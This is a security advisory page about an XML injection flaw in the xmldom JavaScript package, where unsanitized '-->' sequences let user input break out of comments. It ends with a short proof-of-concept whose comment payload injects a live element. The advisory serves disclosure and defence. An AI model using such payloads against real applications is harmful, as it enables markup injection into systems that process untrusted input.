XML Injection Affecting xmldom package, versions *
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-XMLDOM-16133133
- published23 Apr 2026
- disclosed17 Apr 2026
- creditJvr2022, TharVid
Introduced: 17 Apr 2026
NewCVE-2026-41672 (opens in a new tab)How to fix?
A fix was pushed into the master branch but not yet published.
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to XML Injection due to unvalidated comment serialization. When an application uses the package to create an XML comment from untrusted user input, the package fails to sanitize comment-breaking sequences (like -->). An attacker can input --> to terminate the comment prematurely. Once the comment is broken out of, any text the attacker places after the --> is treated as "live" XML markup by the serializer rather than harmless comment text.
PoC
const { DOMImplementation, DOMParser, XMLSerializer } = require('@xmldom/xmldom');
const doc = new DOMImplementation().createDocument(null, 'root', null);
doc.documentElement.appendChild(
doc.createComment('--><injected attr="1"/><!--')
);
const xml = new XMLSerializer().serializeToString(doc);
console.log(xml);
// <root><!----><injected attr="1"/><!----></root>
const reparsed = new DOMParser().parseFromString(xml, 'text/xml');
console.log(reparsed.documentElement.childNodes.item(1).nodeName);
// injected